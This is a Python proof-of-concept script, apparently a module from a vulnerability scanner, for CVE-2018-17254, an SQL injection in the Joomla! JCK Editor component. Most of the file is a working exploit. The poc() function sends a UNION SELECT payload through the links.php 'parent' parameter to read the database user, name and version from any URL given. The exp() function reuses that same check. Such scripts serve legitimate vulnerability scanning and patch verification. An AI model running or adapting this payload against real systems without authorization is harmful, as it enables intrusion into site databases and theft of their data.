CVE-2018-17254.py

import requests


# Vuln Base Info
def info():
    return {
        "author": "cckuailong",
        "name": '''Joomla! JCK Editor SQL Injection''',
        "description": '''The JCK Editor component 6.4.4 for Joomla! allows SQL Injection via the jtreelink/dialogs/links.php parent parameter.''',
        "severity": "critical",
        "references": [
            "http://packetstormsecurity.com/files/161683/Joomla-JCK-Editor-6.4.4-SQL-Injection.html", 
            "https://www.exploit-db.com/exploits/45423/"
        ],
        "classification": {
            "cvss-metrics": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "cvss-score": "",
            "cve-id": "CVE-2018-17254",
            "cwe-id": "CWE-89"
        },
        "metadata":{
            "vuln-target": "",
            
        },
        "tags": ["joomla", "sqli", "cve", "cve2018"],
    }


# Vender Fingerprint
def fingerprint(url):
    return True

# Proof of Concept
def poc(url):
    result = {}
    try:
        url = format_url(url)

        path = """/plugins/editors/jckeditor/plugins/jtreelink/dialogs/links.php?extension=menu&view=menu&parent="%20UNION%20SELECT%20NULL,NULL,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION(),0x6e75636c65692d74656d706c617465),NULL,NULL,NULL,NULL,NULL--%20aa"""
        method = "GET"
        data = """"""
        headers = {}
        resp0 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        if ("""nuclei-template""" in resp0.text):
            result["success"] = True
            result["info"] = info()
            result["payload"] = url+path

    except:
        result["success"] = False
    
    return result


# Exploit, can be same with poc()
def exp(url):
    return poc(url)


# Utils
def format_url(url):
    url = url.strip()
    if not ( url.startswith('http://') or url.startswith('https://') ):
        url = 'http://' + url
    url = url.rstrip('/')

    return url